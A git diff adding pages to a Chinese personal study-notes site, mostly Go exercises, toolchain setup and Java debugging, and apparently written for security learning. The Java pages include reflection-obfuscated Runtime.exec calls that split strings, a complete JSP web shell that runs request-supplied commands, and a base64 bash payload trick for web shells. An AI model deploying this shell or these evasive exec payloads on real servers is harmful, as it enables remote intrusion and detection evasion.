比如在 networking - Access HTTP response as string in Go - Stack Overflowopen in new window 的一个回答中给出了一个示例代码
var client http. Client
+resp, err := client. Get ( url)
+if err != nil {
+ log. Fatal ( err)
+}
+defer resp. Body. Close ( )
+
+if resp. StatusCode == http. StatusOK {
+ bodyBytes, err := io. ReadAll ( resp. Body)
+
+
+
+ if err != nil {
+ log. Fatal ( err)
+ }
+ bodyString := string ( bodyBytes)
+ log. Info ( bodyString)
+}
+
networking - Access HTTP response as string in Go - Stack Overflowopen in new window
go - How do I turn an io.Reader into a io.ReadCloser? - Stack Overflowopen in new window
不过 Go 1.16
版本弃用了 io/ioutil
, 可以使用 io.ReadAll
代替 ioutil.ReadAll
Go 1.16 Release Notes - ioutil - The Go Programming Languageopen in new window
练习 1.7 使用 io.Copy
替代 io.outil.ReadAll
函数调用 io.Copy(dst, src)
会从 src 中读取内容,并将读到的结果写入到 dst 中,使用这个函数替代掉例子中的 ioutil.ReadAll
来拷贝响应结构体到 os.Stdout
,避免申请一个缓冲区(例子中的 b)来存储。记得处理 io.Copy
返回结果中的错误。
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+)
+
+func PrintResponseBody_Copy ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\n" , err)
+ os. Exit ( 1 )
+ }
+ defer resp. Body. Close ( )
+
+ n, err := io. Copy ( os. Stdout, resp. Body)
+ if err != nil {
+ log. Fatal ( err)
+ }
+ fmt. Printf ( "Copied %d bytes" , n)
+ }
+}
+
+
io.Copy
函数是从一个 io.Reader
接口读取数据, 并写到一个 io.Writter
接口, 直到读取完毕或发生错误
使用 io.Copy
的一般格式是
n, err := io. Copy ( dst, src)
+
n
字节数err
复制过程中遇到的错误(dst, src)
(目标的 io.Writter, 源的 io.Reader)
log.Fatal
函数用于在但因输出内容后, 退出应用程序
相当于调用了 log.Print
和 os.Exit(1)
两个函数, 通常用于处理无法回复的错误情况
log.Print
用于在标准错误输出 os.Stderr
上打印一条日志信息, 相当于调用了 fmt.FPrint(v ... interface[])
其与 fmt.Printf(os.Stderr)
有如下区别
log.Print
会自动添加当前日期和时间作为前缀, 而后者不会log.Print
会自动添加换行符作为后缀, 而后者不会log.Print
可以从多个 goroutine
安全地调用, 而后者需要使用同步机制来避免竞争条件
练习 1.8 补充前缀 修改 fetch
这个范例,如果输入的 url 参数没有 http://
前缀的话,为这个 url 加上该前缀。你可能会用到 strings.HasPrefix
这个函数。
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+
+ if ! strings. HasPrefix ( url, "http://" ) {
+ url = "http://" + url
+ fmt. Printf ( "输入的url参数没有 http:// 前缀,已为该url加上该前缀\n当前url为: %s\n" , url)
+ }
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\n" , err)
+ os. Exit ( 1 )
+ }
+ defer resp. Body. Close ( )
+
+ n, err := io. Copy ( os. Stdout, resp. Body)
+ if err != nil {
+ log. Fatal ( err)
+ }
+ fmt. Printf ( "Copied %d bytes \n" , n)
+ }
+}
+
+
strings.HasPrefix
函数用于判断一个字符串是否包含指定前缀, 如果包含则返回 true
, 否则返回 false
, 其使用方式为:
strings. HasPrefix ( s string , prefix string ) bool
+
其中 s
为需要判断的字符串, prefix
为要检查的前缀
练习 1.9 输出状态码 修改 fetch 打印出 HTTP 协议的状态码,可以从 resp.Status
变量得到该状态码。
+package ch1
+
+import (
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "strings"
+)
+
+func PrintResponseBody_Copy_Prefix_Status ( ) {
+ for _ , url := range os. Args[ 1 : ] {
+
+ if ! strings. HasPrefix ( url, "http://" ) {
+ url = "http://" + url
+ fmt. Printf ( "输入的url参数没有 http:// 前缀,已为该url加上该前缀\n当前url为: %s\n" , url)
+ }
+ resp, err := http. Get ( url)
+
+ if err != nil {
+ fmt. Fprintf ( os. Stderr, "fetch: %v\n" , err)
+ os. Exit ( 1 )
+ }
+ defer resp. Body. Close ( )
+
+
+ fmt. Printf ( "HTTP协议的状态码: %s" , resp. Status)
+
+ n, err := io. Copy ( os. Stdout, resp. Body)
+ if err != nil {
+ log. Fatal ( err)
+ }
+ fmt. Printf ( "Copied %d bytes \n" , n)
+ }
+}
+
+
resp.Status
与 resp.Body
不同, 它只是一个字符串, 并非可关闭的资源, 因此不用像后者一样需要考虑关闭以避免资源泄露下一页
CH2 程序结构
+
+
+
diff --git "a/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html" "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html"
new file mode 100644
index 0000000000..d6152bc8fe
--- /dev/null
+++ "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/CH2-\347\250\213\345\272\217\347\273\223\346\236\204.html"
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ CH2 程序结构 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 CH2 程序结构 CH2.1 命名 Go 语言中的函数名、变量名、常量名、类型名、语句标号和包名等所有的命名,都遵循一个简单的命名规则:一个名字必须以一个字母(Unicode 字母)或下划线开头,后面可以跟任意数量的字母、数字或下划线。
大写字母和小写字母是不同的:heapSort
和 Heapsort
是两个不同的名字。
上一页
CH1 入门
+
+
+
diff --git "a/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/index.html" "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/index.html"
new file mode 100644
index 0000000000..681ed4625e
--- /dev/null
+++ "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217/index.html"
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Go语言圣经 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Go/index.html b/Language/Go/index.html
new file mode 100644
index 0000000000..18a5306842
--- /dev/null
+++ b/Language/Go/index.html
@@ -0,0 +1,72 @@
+
+
+
+
+
+
+
+ Go | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Go 参考书籍 开发环境配置 安装 Download and install - The Go Programming Languageopen in new window
可在 Downloads - The Go Programming Language (google.cn)open in new window 获取不同系统的 Go 安装包
ubuntu/debian Windows
拉取官网最新的 stable release
wget https://golang.google.cn/dl/go1.19.3.linux-amd64.tar.gz
+
解压到 /usr/local/go
sudo tar -C /usr/local -xzf go1.19.3.linux-amd64.tar.gz
+
如果之前安装了其他版本的 go 那么可以备份后先移除该版本目录再运行上面的命令
+ls /usr/local | grep go
+
+
+sudo rm -rf /usr/local/go2
+
编辑 ~/.bashrc
, 在文件尾添加
export PATH = $PATH :/usr/local/go/bin
+
如果之前还添加了其他 PATH 变量的话使用 :
间隔开即可
添加完环境变量后若想立即生效则需要重启计算机或者执行下面的 shell 命令
验证
在官网下载 Windows 版本的 Go 安装包并运行该 msi 文件进行安装
安装完成后可在 cmd 或 powershell 中验证下版本号
代理 goproxy.cn/README.zh-CN.md at master · goproxy/goproxy.cn (github.com)open in new window
由于中国政府的网络监管系统,Go 生态系统中有着许多中国 Gopher 们无法获取的模块,比如最著名的 golang.org/x/...
。并且在中国大陆从 GitHub 获取模块的速度也有点慢。因此,我们创建了 Goproxy.cn,使在中国的 Gopher 们能更好地使用 Go 模块。事实上,由于 Goproxy.cn 已在全球范围内通过 CDN 加速,所以你可以在任何地方使用它。
Windows Linux/MacOS
在终端中执行:
go env -w GO111MODULE = on
+go env -w GOPROXY = https://goproxy.cn,direct
+
export GO111MODULE = on
+export GOPROXY = https://goproxy.cn
+
VSCode 配置 配置 Visual Studio Code for Go 开发 | Microsoft Learnopen in new window
安装 Go 扩展
更新 Go 工具 如果没有合适的科技手段的话那就先加个 Go 模块代理
设置完后记得退出并重开 VSCode 加载环境变量
Ctrl+Shift+P
打开命令面板, 然后输入
Go: Install/Update tools
+
单击进入该命令的提示项, 全选并确定, 之后会运行安装
悲ಥ_ಥ, 全装 C 盘去了, 不过还好 C 盘分配的空间比较多且性能相对好些, 就放这里了
gotests
: 可以根据源文件的函数和方法签名自动生成表格驱动测试gomodifytags
: 可以修改结构体的标签impl
: 可以生成接口的实现goplay
: 可以在浏览器中运行Go代码片段dlv
: 是一个Go语言的调试器staticcheck
: 是一个静态分析工具,可以检查代码中的错误和不良风格gopls
: 是官方开发的Go语言服务器,可以提供智能提示、代码导航、代码编辑和诊断等功能。创建一个新文件夹并使用 VSCode 打开此文件夹, 在终端运行如下命令初始化 Go 应用
+go mod init GoLearning
+
在当前文件夹根目录创建一个 main.go
package main
+
+import "fmt"
+
+func main ( ) {
+ name := "Go Developers"
+ fmt. Println ( "Azure for" , name)
+}
+
可以在 line 7 打个断点, 然后 F5 运行下程序, 鼠标悬停在 name 上即可看到此时变量 name 的值
继续运行可以看到如是输出
问题整理 go get 已弃用 Golang弃用go get工具 - 简书 (jianshu.com)open in new window
Deprecation of 'go get' for installing executables - The Go Programming Languageopen in new window
'go get' is no longer supported outside a module.
+ To build and install a command, use 'go install' with a version,
+ like 'go install example.com/cmd@latest'
+ For more information, see https://golang.org/doc/go-get-install-deprecation
+ or run 'go help get' or 'go help install' .
+
go get 在 g.mod
中同时用于更新依赖和安装命令。这种组合很混乱,使用起来也很不方便,因为开发人员不想同时进行更新和安装。
1.17.1
及其后版本不再支持 go get
命令
如果要在当前模块的上下文中安装可执行文件时,使用 go install
不带版本后缀
go install example.com/cmd
+
这个命令适用于安装当前目录或父目录中go.mod定义的版本要求和其他命令。
要安装可执行文件同时忽略当前模块go.mod,使用go install带上版本后缀例如
go install example.com/cmd@latest
+
+
+
+
diff --git a/Language/Java/Java.html b/Language/Java/Java.html
new file mode 100644
index 0000000000..7b27f53ad8
--- /dev/null
+++ b/Language/Java/Java.html
@@ -0,0 +1,168 @@
+
+
+
+
+
+
+
+ Java | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Java Java 环境配置 安装 jdk Windows Ubuntu/Debian
安装完后需要配置环境变量
CLASSPATH
+.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar
+
Path
+%JAVA_HOME%\bin
+%JAVA_HOME%\jre\bin
+
配完后
看下有正常回显即可
OpenJDK: Download and installopen in new window
[环境搭建] Kali 下多版本JDK 共存 - 2022 年11 月1 日更新 - 知乎 (zhihu.com)open in new window
安装 openjdk8
sudo apt-get install openjdk-8-jre
+sudo apt-get install openjdk-8-jdk
+
安装完后可以 java -version
看下
或者下载 tar.gz
包然后解压, 解压后在 bin
目录下有 java
和 javac
多版本 jdk 注册:
+update-alternatives --install /usr/bin/java java [ 解压后bin目录下的java文件绝对路径] [ 优先级数字]
+update-alternatives --set java [ 解压后bin目录下的java文件绝对路径]
+
+
+update-alternatives --install /usr/bin/javac javac [ 解压后bin目录下的javac文件绝对路径] [ 优先级数字]
+update-alternatives --set javac [ 解压后bin目录下的javac文件绝对路径]
+
例如:
update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk1.8.0_351/bin/java 18351
+update-alternatives --set java /home/ajest/tools/java/jdk1.8.0_351/bin/java
+update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk1.8.0_351/bin/javac 18351
+update-alternatives --set javac /home/ajest/tools/java/jdk1.8.0_351/bin/javac
+
+update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk-11.0.17/bin/java 11017
+update-alternatives --set java /home/ajest/tools/java/jdk-11.0.17/bin/java
+update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk-11.0.17/bin/javac 11017
+update-alternatives --set javac /home/ajest/tools/java/jdk-11.0.17/bin/javac
+
+update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk-17.0.5/bin/java 1705
+update-alternatives --set java /home/ajest/tools/java/jdk-17.0.5/bin/java
+update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk-17.0.5/bin/javac 1705
+update-alternatives --set javac /home/ajest/tools/java/jdk-17.0.5/bin/javac
+
+
+update-alternatives --install /usr/bin/java java /home/ajest/tools/java/jdk-19.0.1/bin/java 1901
+update-alternatives --set java /home/ajest/tools/java/jdk-19.0.1/bin/java
+update-alternatives --install /usr/bin/javac javac /home/ajest/tools/java/jdk-19.0.1/bin/javac 1901
+update-alternatives --set javac /home/ajest/tools/java/jdk-19.0.1/bin/javac
+
多版本 JDK 管理
update-alternatives --config java
+update-alternatives --config javac
+
IDEA ubuntu 安装 IDEA 直接远程连接安装即可
Tomcat Apache Tomcat® - Apache Tomcat 8 Software Downloads --- Apache Tomcat® - Apache Tomcat 8 软件下载open in new window
Windows 下直接下 Installer 版本即可
安装时会默认 Server Shutdown Port
为 -1
, 意味着关闭了监听 shutdown 命令的端口, 后续启停可以在 Windows 服务(services.msc
)中进行操作
Java 反射 Java 反射详解 - YSOcean - 博客园 (cnblogs.com)open in new window
Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。而这也是Java被视为(准)动态语言的一个关键性质
为啥要说是准动态,因为一般而言的动态语言定义是程序运行时,允许改变程序结构或变量类型,这种语言称为动态语言。从这个观点看,Perl,Python,Ruby是动态语言,C++,Java,C#不是动态语言。
反射机制允许程序在运行时取得任何一个已知名称的class的内部信息,包括包括其modifiers(修饰符),fields(属性),methods(方法)等,并可于运行时改变fields内容或调用methods。那么我们便可以更灵活的编写代码,代码可以在运行时装配,无需在组件之间进行源代码链接,降低代码的耦合度;还有动态代理的实现等等;
但是需要注意的是反射使用不当会造成很高的资源消耗!
得到 Class 的三种方式 比如新建一个 Person 类
package reflect ;
+
+public class Person {
+ private String name = "Jacob" ;
+ public int age = 20 ;
+ public Person ( ) {
+ System . out. println ( "Person()" ) ;
+ }
+ private void say ( ) {
+ System . out. println ( "Hello World!" ) ;
+ }
+ public void work ( ) {
+ System . out. println ( "I'm working!" ) ;
+ }
+}
+
+
现在要在其他类中获取一个 Person 对象的 class 可以使用如下三种方式:
package reflect ;
+
+public class reflect {
+
+
+ public void by_getClass ( ) {
+ System . out. println ( "1. 通过对象调用 getClass() 方法获取 Person 的 Class;" ) ;
+ Person person1 = new Person ( ) ;
+ Class c1 = person1. getClass ( ) ;
+ System . out. println ( c1. getName ( ) ) ;
+ }
+
+
+
+ public void by_class ( ) {
+ System . out. println ( "2.直接通过 类名.class 的方式得到,该方法最为安全可靠,程序性能更高" ) ;
+ Class c2 = Person . class ;
+ System . out. println ( c2. getName ( ) ) ;
+ }
+
+
+
+
+ public void by_forName ( ) throws ClassNotFoundException {
+ System . out. println ( "3.通过 Class 类的静态方法 forName(String className) 得到" ) ;
+ Class c3 = Class . forName ( "reflect.Person" ) ;
+ System . out. println ( c3. getName ( ) ) ;
+ }
+
+}
+
+
import reflect. reflect ;
+
+public class test {
+ public static void main ( String [ ] args) {
+ System . out. println ( "Hello World!" ) ;
+ reflect r = new reflect ( ) ;
+ r. by_getClass ( ) ;
+ r. by_class ( ) ;
+ try {
+ r. by_forName ( ) ;
+ } catch ( ClassNotFoundException e) {
+ e. printStackTrace ( ) ;
+ }
+ }
+}
+
命令执行 正常写法
java. lang. Runtime. getRuntime ( ) . exec ( "calc" ) ;
+
反射写法:
try {
+ Class < ? > cls = Class . forName ( "java.lang.Runtime" ) ;
+ Method method = cls. getMethod ( "getRuntime" ) ;
+ Runtime runtime = ( Runtime ) method. invoke ( null ) ;
+ runtime. exec ( "calc" ) ;
+} catch ( Exception e) {
+ e. printStackTrace ( ) ;
+}
+
line3
的 Method
指的是 java.lang.reflect.Method
类, 在 Java 中,java.lang.reflect.Method
类提供了关于类或接口上单个方法的信息和访问权限。可以使用 java.lang.reflect.Method
类的实例来获取方法的信息(如返回类型、参数类型、访问修饰符等)或者对它进行调用。line3
的 getMethod
方法被用来获取名为 getRuntime
的方法(这是 java.lang.Runtime
类的一个静态方法)。然后,invoke
方法被用来调用这个获取到的方法。因为 getRuntime
是一个无参数的方法,所以 invoke
方法被调用时只传入了一个 null
参数,这个 null
参数表示当前正在调用的是一个不需要实例对象的方法(即静态方法)。 将反射写法写为一行:
( ( Runtime ) Class . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ) . exec ( "calc" ) ;
+
需要注意的是 Class.getMethod
的返回类型是 java.lang.reflect.Method
,而 Method.invoke()
的返回类型是 java.lang.Object
。
因此,当你试图在返回的 Object 类型上调用 exec
方法时,编译器无法找到 exec
方法,因为 java.lang.Object
类没有定义 exec
方法。
所以这里用的 (Runtime)
来将 invoke
的返回值强制类型转换为 Runtime
类型,因为 exec
是 Runtime
类的方法
不加强制类型转换的话可以这样写:
Class . forName ( "java.lang.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ Class . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ;
+
首先获取 exec
方法的 Method
对象,然后再调用 invoke
方法,其第一个参数传递了 exec
方法的调用者(Runtime
对象),第二个参数传递了 exec
方法的参数(calc
)。
或者通过 String对象.getClass()
来获取 Class
也可以:
"va" . getClass ( ) . forName ( "java.lang.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ "va" . getClass ( ) . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ;
+
以及这里的字符串是可以拆分再拼接的, 下面这种写法也是可以正确执行的:
Class . forName ( "java" + ".lang.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ Class . forName ( "java.la" + "ng.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ;
+
"va" . getClass ( ) . forName ( "java.lan" + "g.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ "va" . getClass ( ) . forName ( "java.l" + "ang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ; `
+
下一页
Java代码审计
+
+
+
diff --git a/Language/Java/JavaWeb.html b/Language/Java/JavaWeb.html
new file mode 100644
index 0000000000..d20f246717
--- /dev/null
+++ b/Language/Java/JavaWeb.html
@@ -0,0 +1,109 @@
+
+
+
+
+
+
+
+ Java Web | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Java Web Maven Maven配置教程_霍英俊-CSDN博客_maven配置open in new window
下载与配置 在 Maven – Download Apache Mavenopen in new window 下载
解压到某个文件夹
配置 Maven 环境变量
编辑 PATH 变量
验证配置: mvn -v
修改 Maven 配置 C:\Programming\Java\apache-maven-3.8.4\conf\settings.xml
修改本地仓库位置:
修改 maven 默认的 JDK 版本
< profile>
+ < id> JDK-1.8</ id>
+ < activation>
+ < activeByDefault> true</ activeByDefault>
+ < jdk> 1.8</ jdk>
+ </ activation>
+ < properties>
+ < maven.compiler.source> 1.8</ maven.compiler.source>
+ < maven.compiler.target> 1.8</ maven.compiler.target>
+ < maven.compiler.compilerVersion> 1.8</ maven.compiler.compilerVersion>
+ </ properties>
+ </ profile>
+
添加国内镜像源
+< mirror>
+ < id> alimaven</ id>
+ < mirrorOf> central</ mirrorOf>
+ < name> aliyun maven</ name>
+ < url> http://maven.aliyun.com/nexus/content/repositories/central/</ url>
+</ mirror>
+
+
+< mirror>
+ < id> repo1</ id>
+ < mirrorOf> central</ mirrorOf>
+ < name> Human Readable Name for this Mirror.</ name>
+ < url> http://repo1.maven.org/maven2/</ url>
+</ mirror>
+
+
+< mirror>
+ < id> repo2</ id>
+ < mirrorOf> central</ mirrorOf>
+ < name> Human Readable Name for this Mirror.</ name>
+ < url> http://repo2.maven.org/maven2/</ url>
+</ mirror>
+
+
JSP JSP(Java Server Pages)是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。
JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分
JSP 马 <%@ page import="java.util.*,java.io.*"%>
+<%%>
+<HTML><BODY>
+Commands with JSP
+<FORM METHOD="GET" NAME="myform" ACTION="">
+<INPUT TYPE="text" NAME="cmd">
+<INPUT TYPE="submit" VALUE="Send">
+</FORM>
+<pre>
+<%
+ if (request.getParameter("cmd") != null) {
+ out.println("Command: " + request.getParameter("cmd") + "<BR>");
+ Process p;
+ if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
+ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
+ }
+ else{
+ p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+ }
+ OutputStream os = p.getOutputStream();
+ InputStream in = p.getInputStream();
+ DataInputStream dis = new DataInputStream(in);
+ String disr = dis.readLine();
+ while ( disr != null ) {
+ out.println(disr);
+ disr = dis.readLine();
+ }
+ }
+%>
+</pre>
+</BODY></HTML>
+
Runtime.getRuntime().exec踩坑总结open in new window
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (bewhale.github.io)open in new window
偶尔有时命令执行有效负载Runtime.getRuntime().exec()
失败. 使用 web shells, 反序列化漏洞或其他向量时可能会发生这种情况.
有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义. 例如 ls > dir_listing
在shell中执行应该将当前目录的列表输出到名为的文件中 dir_listing
. 但是在 exec()
函数的上下文中,该命令将被解释为获取 >
和 dir_listing
目录.
其他时候,其中包含空格的参数会被StringTokenizer类破坏.该类将空格分割为命令字符串. 那样的东西 ls "My Directory"
会被解释为 ls '"My' 'Directory"'
.
在Base64编码的帮助下, 可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格.
比如将 bash 命令
转换为:
bash -c { echo,Y2F0IC9lcnR0Yy9wYXNzd2Q= } | { base64,-d} | { bash,-i}
+
上一页
Java代码审计
+
+
+
diff --git "a/Language/Java/Java\344\273\243\347\240\201\345\256\241\350\256\241.html" "b/Language/Java/Java\344\273\243\347\240\201\345\256\241\350\256\241.html"
new file mode 100644
index 0000000000..793553940c
--- /dev/null
+++ "b/Language/Java/Java\344\273\243\347\240\201\345\256\241\350\256\241.html"
@@ -0,0 +1,54 @@
+
+
+
+
+
+
+
+ Java 代码审计 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Java 代码审计 Java 本地调试和远程调试技巧(IDEA) VSCode 也可以远程调试 Java, 打算等在 IDEA 上玩熟练后再转 VSCode 试试
告别脚本小子系列丨JAVA安全(1)——JAVA本地调试和远程调试技巧 (qq.com)open in new window
Java编写的项目一般较复杂,而且通常会引用大量第三方jar包。如果直接看代码逻辑会是一件很痛苦的事情,学会调试是开始java安全的必备技能。
本地调试
打断点
: 可以通过打断点来调试程序, IDEA 提供了不少断点调试按键, 如
F7
:步入,如果当前行有方法调用,会进入方法内部,否则继续下一行执行。不能进入官方类库的方法。F8
:步过,一行一行执行代码,如果当前行有方法调用,不会进行方法内部。Alt + Shift + F7
:强制步入,能进去任何方法,和F7的区别是能步入官方类库的方法 。Shift + F8
:步出,从步入的方法内退出到方法外面,此时方法已经执行完毕。查看当前断点信息
:
对于大型的项目,很多时候我们会下很多断点,但是自己都会忘记在哪个文件还打了断点的,这时候通过断点管理的功能就可以很方便的对断点进行管理。 另外这个位置还提供了异常断点的功能,异常断点是断点调试中的重要调试技巧之一。如果我们不确定程序的运行逻辑,但是知道程序一定会暴异常,这时候就可以通过异常断点来查看程序的运行逻辑。通过搜索异常名称就可以在对应异常位置下断点了
运行即时表达式
: 即时表达式是java调试中的重要工具,能帮助我们查看当前环境中变量值,查看线程信息,判断程序中的对比条件。
查看当前的栈调用信息
: 栈调用是非常重要的调试信息,通常栈调用过程就是程序运行时的逻辑顺序,对java漏洞调试非常重要。
当前变量信息
: 显示程序执行到当前位置时环境中的变量信息
远程调试 多数情况下,我们进行代码审计或者漏洞复现,都是把靶机环境装在虚拟机中,然后通过远程调试的方式来对系统进行利用。要让服务器支持远程调试,必须在启动的时候增加KVM参数,如下所示。
-Xdebug -Xrunjdwp:transport = dt_socket,suspend= n,server= y,address= 0.0 .0.0:5555
+
而 KVM 参数需要写在哪里, 对于不同服务器远程调试的参数写的位置不一样
上面开启了服务端远程调试的端口之后,下一步就需要客户端连接远程服务器进行调试。
为了保证远程调试的准确性,需要客户端拥有和服务端完全一样的源代码 (这很重要,一定要完全一样),所以最好直接把服务端整个源码拷贝一份到客户端idea中进行调试。 使用idea本地打开拷贝的服务端源码,并且把所有的 jar 包加入 library。然后新增一个 configuration,选择 Remote JVM Debug,填写开启的远程调试服务器 ip 和端口。
然后点击debug按钮,可以看到下面的成功连接到远程服务器的信息,代表远程连接建立成功。后续就可以像本地调试一样对远程项目进行调试了。
附录 所有四级标题单独提出来
IDEA 远程调试 Java 项目举例 - CVE-2018-2894 远程调试(寄/TODO: 等看完 Docker 再来试试) CVE-2018-2894
使用的镜像与 CVE-2020-14882
相同
编辑 doker-compose.yml
文件, 将打算用于远程调试的端口映射上
比如这里将 5555 端口用于远程调试
version : '2'
+services :
+ weblogic :
+ image : vulhub/weblogic: 12.2.1.3- 2018
+ ports :
+ - "7001:7001"
+ - "5555:5555"
+
然后启动容器
然后进入容器编辑配置文件
可以看到 line 48
通过运行 jar 包启动了服务, 修改 line 48
加上调试参数
cd /u01 && curl -o /u01/fmw_12.2.1.3.0_wls_quick.jar http://ca-docker-stage.us.oracle.com/middleware/weblogic/fmw_12.2.1.3.0_wls_quick.jar && \
+$JAVA_HOME /bin/java -jar -Xdebug -Xrunjdwp:transport = dt_socket,suspend= n,server= y,address= 0.0 .0.0:5555 /u01/fmw_12.2.1.3.0_wls_quick.jar -invPtrLoc /u01/oraInst.loc -jreLoc $JAVA_HOME -ignoreSysPrereqs -force -novalidation ORACLE_HOME = $ORACLE_HOME && \
+rm /u01/fmw_12.2.1.3.0_wls_quick.jar /u01/oraInst.loc /u01/install.file
+
然后重启容器
docker restart [ container_id]
+
上一页
Java
下一页
JavaWeb
+
+
+
diff --git a/Language/Java/index.html b/Language/Java/index.html
new file mode 100644
index 0000000000..08fea43682
--- /dev/null
+++ b/Language/Java/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Java | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/JavaScript/JavaScript.html b/Language/JavaScript/JavaScript.html
new file mode 100644
index 0000000000..33129a4dce
--- /dev/null
+++ b/Language/JavaScript/JavaScript.html
@@ -0,0 +1,118 @@
+
+
+
+
+
+
+
+ JavaScript | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/JavaScript/index.html b/Language/JavaScript/index.html
new file mode 100644
index 0000000000..e25f364d3c
--- /dev/null
+++ b/Language/JavaScript/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Java Script | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/Language/PHP/PHP\345\255\246\344\271\240.html" "b/Language/PHP/PHP\345\255\246\344\271\240.html"
new file mode 100644
index 0000000000..19536157d5
--- /dev/null
+++ "b/Language/PHP/PHP\345\255\246\344\271\240.html"
@@ -0,0 +1,56 @@
+
+
+
+
+
+
+
+ PHP 学习 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git "a/Language/PHP/PHP\345\256\211\345\205\250.html" "b/Language/PHP/PHP\345\256\211\345\205\250.html"
new file mode 100644
index 0000000000..1ef8a9d0b3
--- /dev/null
+++ "b/Language/PHP/PHP\345\256\211\345\205\250.html"
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+
+ PHP 安全 | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/PHP/index.html b/Language/PHP/index.html
new file mode 100644
index 0000000000..dd74510cd5
--- /dev/null
+++ b/Language/PHP/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ P H P | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/Note-python.html b/Language/Python/Note-python.html
new file mode 100644
index 0000000000..0b5cc1f47d
--- /dev/null
+++ b/Language/Python/Note-python.html
@@ -0,0 +1,621 @@
+
+
+
+
+
+
+
+ Python随笔 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 Python随笔 前言 python 简介 创建 Python 的初衷是,通过屏蔽更多与硬件的复杂交互来简化软件开发。 缺点是 Python 对这些交互的控制力较弱。 因此,Python 可能不适合某些占用大量处理器时间的应用。 其他编程语言可以更好地控制与硬件的复杂交互。 如果使用得当,它们的性能比 Python 更好。 但它们可能更难以理解。 许多软件应用不需要通过这种程度的优化来提高性能。 什么是编译 Python 的工作原理 当前 python 各版本的使用情况 Python Developers Survey 2021 Results (jetbrains.com)open in new window
Python Developers Survey 2022 Results (jetbrains.com)open in new window
换源操作 py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple opencc
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - r requirements. txt
+py - 3.8 - m pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - - upgrade pip
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - r requirements. txt
+pip install - i https: // pypi. tuna. tsinghua. edu. cn/ simple - - upgrade pip
+
